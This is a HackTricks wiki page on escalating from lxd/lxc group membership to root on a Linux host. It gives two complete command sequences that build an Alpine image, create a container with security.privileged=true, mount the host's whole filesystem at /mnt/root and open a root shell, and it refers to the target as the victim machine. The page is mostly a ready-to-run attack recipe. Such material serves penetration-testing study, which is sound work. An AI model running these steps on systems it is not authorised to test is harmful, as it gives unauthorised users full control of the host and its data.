{% hint style="success" %}
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If you belong to lxd or lxc group, you can become root
You can install in your machine this distro builder: https://github.com/lxc/distrobuilder (follow the instructions of the github):
sudo su
# Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
# Clone repo
git clone https://github.com/lxc/distrobuilder
# Make distrobuilder
cd distrobuilder
make
# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
# Create the container
## Using build-lxd
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18Upload the files lxd.tar.xz and rootfs.squashfs, add the image to the repo and create a container:
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
# Check the image is there
lxc image list
# Create the container
lxc init alpine privesc -c security.privileged=true
# List containers
lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true{% hint style="danger" %}
If you find this error Error: No storage pool found. Please create a new storage pool
Run lxd init and repeat the previous chunk of commands
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Finally you can execute the container and get root:
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mountedBuild an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as default
lxd init
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.